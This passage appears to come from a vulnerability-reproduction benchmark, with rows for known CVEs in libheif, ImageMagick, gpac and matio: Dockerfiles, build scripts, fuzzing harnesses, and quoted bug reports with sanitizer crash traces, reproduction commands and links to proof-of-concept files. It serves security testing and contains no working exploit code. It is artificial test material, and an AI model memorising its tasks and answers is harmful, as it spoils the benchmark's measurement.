-DENABLE_SHARED:bool=off -DCONFIG_PIC=1 \
-DENABLE_EXAMPLES=0 -DENABLE_DOCS=0 -DENABLE_TESTS=0 \
-DCONFIG_SIZE_LIMIT=1 \
-DDECODE_HEIGHT_LIMIT=12288 -DDECODE_WIDTH_LIMIT=12288 \
-DDO_RANGE_CHECK_CLAMP=1 \
-DAOM_MAX_ALLOCABLE_MEMORY=536870912 \
-DAOM_TARGET_CPU=generic \
../../
cd $SRC/libheif
mkdir -p build
cd build
cmake .. --preset=fuzzing \
-DFUZZING_COMPILE_OPTIONS="" \
-DFUZZING_LINKER_OPTIONS="$LIB_FUZZING_ENGINE" \
-DFUZZING_C_COMPILER=$CC -DFUZZING_CXX_COMPILER=$CXX \
-DWITH_DEFLATE_HEADER_COMPRESSION=OFF
|
/src/libheif
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/strukturag/libheif/issues/1046
## Description:
Issue: strukturag/libheif#1046
Title: AddressSanitizer: SEGV in `decode_uncompressed_image`
State: closed
Created by: fdu-sec
Created at: 2023-11-22 12:10:09+00:00
Issue Body:
### Description
AddressSanitizer: SEGV in `decode_uncompressed_image`
### Version
```
commit: 64ece913266609789f5dc70fe7de9eb759badd7f
heif-convert libheif version: 1.17.5
-------------------------------------------
Usage: heif-convert [options] <input-image> [output-image]
The program determines the output file format from the output filename suffix.
These suffixes are recognized: jpg, jpeg, png, y4m. If no output filename is specified, 'jpg' is used.
Options:
-h, --help show help
-v, --version show version
-q, --quality quality (for JPEG output)
-o, --output FILENAME write output to FILENAME (optional)
-d, --decoder ID use a specific decoder (see --list-decoders)
--with-aux also write auxiliary images (e.g. depth images)
--with-xmp write XMP metadata to file (output filename with .xmp suffix)
--with-exif write EXIF metadata to file (output filename with .exif suffix)
--skip-exif-offset skip EXIF metadata offset bytes
--no-colons replace ':' characters in auxiliary image filenames with '_'
--list-decoders list all available decoders (built-in and plugins)
--quiet do not output status messages to console
-C, --chroma-upsampling ALGO Force chroma upsampling algorithm (nn = nearest-neighbor / bilinear)
--png-compression-level # Set to integer between 0 (fastest) and 9 (best). Use -1 for default.
```
### Replay
```
cd libheif
mkdir build && cd build
CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" cmake -DCMAKE_BUILD_TYPE=Debug -DWITH_UNCOMPRESSED_CODEC=ON ..
make -j
./examples/heif-convert ./poc test.png
```
### ASAN
```
==89344==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f955d086aeb bp 0x7ffdd923ebb0 sp 0x7ffdd923e318 T0)
==89344==The signal is caused by a READ memory access.
==89344==Hint: address points to the zero page.
#0 0x7f955d086aea in memcpy (/lib/x86_64-linux-gnu/libc.so.6+0xbbaea)
#1 0x7f955d85f4de (/lib/x86_64-linux-gnu/libasan.so.4+0x7a4de)
#2 0x7f955d6f8495 in UncompressedImageCodec::decode_uncompressed_image(std::shared_ptr<HeifFile const> const&, unsigned int, std::shared_ptr<HeifPixelImage>&, unsigned int, unsigned int, std::vector<unsigned char, std::allocator<unsigned char> > const&) libheif/libheif/uncompressed_image.cc:758
#3 0x7f955d5b7304 in HeifContext::decode_image_planar(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_decoding_options const&, bool) const libheif/libheif/context.cc:1452
#4 0x7f955d5b42a8 in HeifContext::decode_image_user(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_chroma, heif_decoding_options const&) const libheif/libheif/context.cc:1248
#5 0x7f955d5771f4 in heif_decode_image libheif/libheif/heif.cc:1044
#6 0x55e9351aca11 in main libheif/examples/heif_convert.cc:484
#7 0x7f955cfef082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#8 0x55e9351a7add in _start (libheif/build/examples/heif-convert+0xbadd)
```
### POC
- [poc](https://github.com/fdu-sec/poc/raw/main/libheif/poc5)
### Environment
```
Description: Ubuntu 22.04.2 LTS
gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
```
### Credit
Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/))
Comments:
Comment by carnil on 2023-12-07 20:32:29+00:00:
This appears to be CVE-2023-49460
---
Comment by farindk on 2023-12-14 15:36:32+00:00:
Apparently also fixed with fd5b02aca3e29088bf0a1fc400bd661be4a6ed76.
Commit References:
64ece913266609789f5dc70fe7de9eb759badd7f
fd5b02aca3e29088bf0a1fc400bd661be4a6ed76
|
[] |
[
{
"sha": "64ece913266609789f5dc70fe7de9eb759badd7f",
"url": "https://github.com/strukturag/libheif/commit/64ece913266609789f5dc70fe7de9eb759badd7f"
},
{
"sha": "fd5b02aca3e29088bf0a1fc400bd661be4a6ed76",
"url": "https://github.com/strukturag/libheif/commit/fd5b02aca3e29088bf0a1fc400bd661be4a6ed76"
}
] |
imagemagick.cve-2017-12664
|
imagemagick/imagemagick
|
1dc0ac5016f1c4d50b100a086526d6a2453a5444
| 2017-07-17T12:32:16
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout 1dc0ac5016f1c4d50b100a086526d6a2453a5444
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --prefix="$WORK" --disable-shared --disable-docs
make "-j$(nproc)"
make install -j$(nproc)
|
/src/imagemagick
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/574
## Description:
Issue: ImageMagick/ImageMagick#574
Title: memory leak in WritePALMImage
State: closed
Created by: jgj212
Created at: 2017-07-17 01:25:28+00:00
Labels: bug
Issue Body:
Version: ImageMagick 7.0.6-2 Q16 x86_64
```
./magick convert $FILE out.palm
==12351==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 524288 byte(s) in 1 object(s) allocated from:
#0 0x4deeb6 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7f45d5561186 in AcquireMagickMemory memory.c:464:10
#2 0x7f45d55611e8 in AcquireQuantumMemory memory.c:537:10
#3 0x7f45d5613951 in SetGrayscaleImage quantize.c:3322:30
#4 0x7f45d560ffba in QuantizeImage quantize.c:2669:16
#5 0x7f45d5299edf in SetImageType attribute.c:1293:18
#6 0x7f45d59e181a in WritePALMImage palm.c:770:16
#7 0x7f45d53406fe in WriteImage constitute.c:1114:14
#8 0x7f45d53415fd in WriteImages constitute.c:1333:13
#9 0x7f45d49ec900 in ConvertImageCommand convert.c:3280:11
#10 0x7f45d4b3b0cf in MagickCommandGenesis mogrify.c:183:14
#11 0x514a37 in MagickMain magick.c:149:10
#12 0x514491 in main magick.c:180:10
#13 0x7f45cf378f44 in __libc_start_main libc-start.c:287
Direct leak of 40 byte(s) in 1 object(s) allocated from:
#0 0x4deeb6 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7f45d5561186 in AcquireMagickMemory memory.c:464:10
#2 0x7f45d560ef4d in AcquireQuantizeInfo quantize.c:377:34
#3 0x7f45d59e14f4 in WritePALMImage palm.c:747:17
#4 0x7f45d53406fe in WriteImage constitute.c:1114:14
#5 0x7f45d53415fd in WriteImages constitute.c:1333:13
#6 0x7f45d49ec900 in ConvertImageCommand convert.c:3280:11
#7 0x7f45d4b3b0cf in MagickCommandGenesis mogrify.c:183:14
#8 0x514a37 in MagickMain magick.c:149:10
#9 0x514491 in main magick.c:180:10
#10 0x7f45cf378f44 in __libc_start_main libc-start.c:287
```
POC: https://github.com/jgj212/poc/blob/master/leak-WritePALM
Credit : ADLab of Venustech
Comments:
Comment by mikayla-grace on 2017-07-17 17:48:38+00:00:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment by bastien-roucaries on 2017-07-25 21:37:13+00:00:
These are bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=869721 and https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=869722.
---
Comment by nohmask on 2017-09-08 07:51:28+00:00:
This was assigned CVE-2017-12664.
|
[
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n",
"filename": "crop_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n",
"filename": "encoder_fuzzer.cc"
},
{
"content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n",
"filename": "encoder_list.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n",
"filename": "enhance_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n",
"filename": "huffman_decode_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n",
"filename": "rotate_fuzzer.cc"
}
] |
[
{
"sha": "0417cea1b6d72f90bd4f1f573f91e42a8ba66a89",
"url": "https://github.com/ImageMagick/ImageMagick/commit/0417cea1b6d72f90bd4f1f573f91e42a8ba66a89"
},
{
"sha": "db1ffb6cf44bcfe5c4d5fcf9d9109ded5617387f",
"url": "https://github.com/ImageMagick/ImageMagick/commit/db1ffb6cf44bcfe5c4d5fcf9d9109ded5617387f"
},
{
"sha": "7b604a554dfb6630fe32e739334fa57341dc6123",
"url": "https://github.com/ImageMagick/ImageMagick/commit/7b604a554dfb6630fe32e739334fa57341dc6123"
},
{
"sha": "1718df1e042b277a5036d6e6fa9b44587f94afa3",
"url": "https://github.com/ImageMagick/ImageMagick/commit/1718df1e042b277a5036d6e6fa9b44587f94afa3"
}
] |
|
gpac.cve-2023-4682
|
gpac/gpac
|
112767e8b178fc82dec3cf82a1ca14d802cdb8ec
| 2023-08-31T08:40:37
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 112767e8b178fc82dec3cf82a1ca14d802cdb8ec
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/15232a74-e3b8-43f0-ae8a-4e89d56c474c
## Description:
Description
Heap-buffer-overflow in MP4Box.
Version
$ ./bin/gcc/MP4Box -version
MP4Box - GPAC version 2.3-DEV-revrelease
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
Reproduce
complie and run
./configure --enable-sanitizer
make
Proof of Concept
./bin/gcc/MP4Box -dash 1000 -out /dev/null ./crash1
poc is here
ASAN
information reported by sanitizer
$ ./bin/gcc/MP4Box -dash 1000 -out /dev/null ./crash1
[Dasher] No template assigned, using $File$_dash$FS$$Number$
[Dasher] No bitrate property assigned to PID crash1, computing from bitstream
[RFC6381] Cannot find M4V config, using default mp4v.20
[Dasher] No bitrate property assigned to PID crash1, computing from bitstream
[FileOut] cannot open output file /dev/crash1_dashinit.mp4
[FileOut] output file handle is not opened, discarding 1333 bytes
=================================================================
==1235145==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500001b324 at pc 0x7f2384ca859d bp 0x7ffddcfcb4b0 sp 0x7ffddcfcac58
WRITE of size 28416 at 0x62500001b324 thread T0
#0 0x7f2384ca859c in __interceptor_fread ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:989
#1 0x7f2381c712fe in avi_read media_tools/avilib.c:67
#2 0x7f2381c712fe in AVI_read_frame media_tools/avilib.c:2934
#3 0x7f23822628dd in avidmx_process filters/dmx_avi.c:524
#4 0x7f238213d33e in gf_filter_process_task filter_core/filter.c:2971
#5 0x7f23820fc66a in gf_fs_thread_proc filter_core/filter_session.c:1962
#6 0x7f2382109fd6 in gf_fs_run filter_core/filter_session.c:2261
#7 0x7f2381a9fa9d in gf_dasher_process media_tools/dash_segmenter.c:1236
#8 0x55ddba368bb6 in do_dash /home/functionmain/desktop/gpac-master-asan/applications/mp4box/mp4box.c:4825
#9 0x55ddba368bb6 in mp4box_main /home/functionmain/desktop/gpac-master-asan/applications/mp4box/mp4box.c:6239
#10 0x7f237ed4e082 in __libc_start_main ../csu/libc-start.c:308
#11 0x55ddba340f5d in _start (/home/functionmain/desktop/gpac-master-asan/bin/gcc/MP4Box+0xa5f5d)
0x62500001b324 is located 0 bytes to the right of 8740-byte region [0x625000019100,0x62500001b324)
allocated by thread T0 here:
#0 0x7f2384d4a808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x7f238206df77 in gf_filter_pck_new_alloc_internal filter_core/filter_pck.c:159
#2 0x7f2382262865 in avidmx_process filters/dmx_avi.c:522
#3 0x7f238213d33e in gf_filter_process_task filter_core/filter.c:2971
#4 0x7f23820fc66a in gf_fs_thread_proc filter_core/filter_session.c:1962
#5 0x7f2382109fd6 in gf_fs_run filter_core/filter_session.c:2261
#6 0x7f2381a9fa9d in gf_dasher_process media_tools/dash_segmenter.c:1236
#7 0x55ddba368bb6 in do_dash /home/functionmain/desktop/gpac-master-asan/applications/mp4box/mp4box.c:4825
#8 0x55ddba368bb6 in mp4box_main /home/functionmain/desktop/gpac-master-asan/applications/mp4box/mp4box.c:6239
#9 0x7f237ed4e082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:989 in __interceptor_fread
Shadow bytes around the buggy address:
0x0c4a7fffb610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fffb620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fffb630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fffb640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fffb650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a7fffb660: 00 00 00 00[04]fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fffb670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fffb680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fffb690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fffb6a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fffb6b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1235145==ABORTING
Impact
This is capable of causing crashes.
References
poc
Impact
This is capable of causing crashes.
Relevant Links:
https://github.com/gpac/gpac
https://gitee.com/FUNctionMain/mypoc/raw/master/poc1/crash1
https://gitee.com/FUNctionMain/mypoc/raw/master/poc1/crash1
https://gitee.com/FUNctionMain/mypoc/raw/master/poc1/crash1
|
[] |
[
{
"sha": "15232a74",
"url": null
},
{
"sha": "b1042c3eefca87c4bc32afb404ed6518d693e5be",
"url": "https://github.com/gpac/gpac/commit/b1042c3eefca87c4bc32afb404ed6518d693e5be"
}
] |
matio.cve-2019-9033
|
tbeu/matio
|
55e506b9d46b5ee8036dc7933178f3c59e715ff1
| 2018-10-22T23:21:48
|
matio
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/tbeu/matio matio
RUN git -C matio checkout 55e506b9d46b5ee8036dc7933178f3c59e715ff1
WORKDIR $SRC/matio
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
./configure
make -j$(nproc)
make install -j$(nproc)
|
/src/matio
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/tbeu/matio/issues/103
## Description:
Issue: tbeu/matio#103
Title: some memory corruption problems when the library parse the mat file
State: closed
Created by: cool-tomato
Created at: 2019-02-20 02:24:30+00:00
Labels: bug
Issue Body:
I found several memory corruption problem in the library.
More details can be found at [here](https://github.com/TeamSeri0us/pocs/tree/master/matio).
Comments:
Comment by PhilipMorrisJones on 2019-03-07 04:54:21+00:00:
@tbeu, can you comment on this and say if it is a real vulnerability or not and if so when it is likely to be fixed?
There are 13 CVEs related to this
CVE-2019-9038 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read problem with a SEGV in the function ReadNextCell() in mat5.c.
-- | --
CVE-2019-9037 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a buffer over-read in the function Mat_VarPrint() in mat.c.
CVE-2019-9036 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function ReadNextFunctionHandle() in mat5.c.
CVE-2019-9035 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function ReadNextStructField() in mat5.c.
CVE-2019-9034 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for a memcpy in the function ReadNextCell() in mat5.c.
CVE-2019-9033 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for the "Rank and Dimension" feature in the function ReadNextCell() in mat5.c.
CVE-2019-9032 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds write problem causing a SEGV in the function Mat_VarFree() in mat.c.
CVE-2019-9031 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a NULL pointer dereference in the function Mat_VarFree() in mat.c.
CVE-2019-9030 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in Mat_VarReadNextInfo5() in mat5.c.
CVE-2019-9029 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read with a SEGV in the function Mat_VarReadNextInfo5() in mat5.c.
CVE-2019-9028 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function InflateDimensions() in inflate.c when called from ReadNextCell in mat5.c.
CVE-2019-9027 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow problem in the function ReadNextCell() in mat5.c.
CVE-2019-9026 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function InflateVarName() in inflate.c when called from ReadNextCell in mat5.c.
---
Comment by tbeu on 2019-03-07 06:23:41+00:00:
Working on them. (That's why I pinned the issue).
---
Comment by tbeu on 2019-03-07 07:36:04+00:00:
And, it only happens with crafted MAT-files (created by fuzzing).
---
Comment by PhilipMorrisJones on 2019-03-07 12:36:41+00:00:
@tbeu, thank you. We use this library and appreciate its compactness and usefulness.
Do you know anything about @cool-tomato and why she would fuzz your code?
---
Comment by tbeu on 2019-03-07 16:04:48+00:00:
Fuzzing is easy, probably fun and gives you some credits. Do not know him/her.
---
Comment by tbeu on 2019-03-09 22:11:12+00:00:
Resolved by a0539135c9b1ab7613aa7953279da9224da88775 and 2c20d2178017b3eb13ab160cef239648f9915bdb in master branch.
---
Comment by TeoShaw on 2019-03-11 06:31:47+00:00:
Great to hear that this has been resolved.
On what time scale will we be able to download 1.5.14 and get access to these security improvements?
Thanks,
T.
---
Comment by tbeu on 2019-03-11 06:55:52+00:00:
Will release v1.5.14 probably tonight.
---
Comment by svillemot on 2019-03-12 14:20:17+00:00:
As far as I can tell, CVE-2019-9036 (heap-based buffer overflow in the function `ReadNextFunctionHandle()`) is not yet fixed.
---
Comment by tbeu on 2019-03-12 18:01:06+00:00:
Hm, can no longer reproduce. Can you give some more details?
---
Comment by svillemot on 2019-03-12 18:08:43+00:00:
On git HEAD (9f7f96d727d), with Debian 9, configured with `./configure CFLAGS="-fsanitize=address -O2" LDFLAGS="-fsanitize=address"`:
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
=================================================================
==29570==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd0 at pc 0x7f5b9c14f9fe bp 0x7ffca66d34a0 sp 0x7ffca66d3498
WRITE of size 8 at 0x60200000efd0 thread T0
#0 0x7f5b9c14f9fd in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd)
#1 0x562dd8c1c9b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#2 0x7f5b9b7f32e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#3 0x562dd8c1d249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1)
allocated by thread T0 here:
#0 0x7f5b9c42dd28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7f5b9c14ef7a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbef7a)
#2 0x7f5b9c1634a7 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd34a7)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd) in Mat_VarReadNextInfo5
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29570==ABORTING
```
---
Comment by tbeu on 2019-03-12 18:57:03+00:00:
Got it.
---
Comment by carnil on 2019-03-14 18:14:43+00:00:
Should the issue in meanwhile be reopened until as well the last bit fixed?
---
Comment by tbeu on 2019-03-15 22:32:32+00:00:
@svillemot Can you please check if 539ca4df145748558d79ac978d05857437ba3332 fixes the issue for you. Thanks.
---
Comment by svillemot on 2019-03-16 16:57:48+00:00:
The overflow seems to be correctly worked around. But then MatIO apparently attempts to allocate an insane amount of memory, I am not sure this is expected:
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
Integer multiplication overflow when calculating number of elements
==14602==WARNING: AddressSanitizer failed to allocate 0x4098900aa0000000 bytes
==14602==AddressSanitizer's allocator is terminating the process instead of returning 0
==14602==If you don't like this behavior set allocator_may_return_null=1
==14602==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:145 "((0)) != (0)" (0x0, 0x0)
#0 0x7f04a03f5ebd (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcaebd)
#1 0x7f04a03fbb13 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xd0b13)
#2 0x7f04a03f9cd6 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcecd6)
#3 0x7f04a0350144 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x25144)
#4 0x7f04a03ecd05 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d05)
#5 0x7f04a010d70f in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbe70f)
#6 0x55c2c84699b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#7 0x7f049f7b22e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#8 0x55c2c846a249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
```
---
Comment by tbeu on 2019-03-16 18:07:45+00:00:
Thanks for confirmation. One other possibility would be to let SafeMulDims return 0 in case of an overflow. What do you think?
---
Comment by svillemot on 2019-03-16 19:38:04+00:00:
Indeed it's probably better to have a zero return value from `SafeMulDims`, which would then be catched and properly handled by the caller.
---
Comment by tbeu on 2019-03-19 13:41:30+00:00:
@svillemot Could you please give 077cbf9ecf495c15edc8546c1acb0cbabf8b6e51 one more try and verify if it finally resolves this issue? Thanks.
---
Comment by svillemot on 2019-03-20 09:43:23+00:00:
Thanks. The only thing still detected by ASAN is a 1-byte memory leak. So, security-wise, the issue is fixed.
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
Empty
=================================================================
==14285==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x7fb2691fed28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
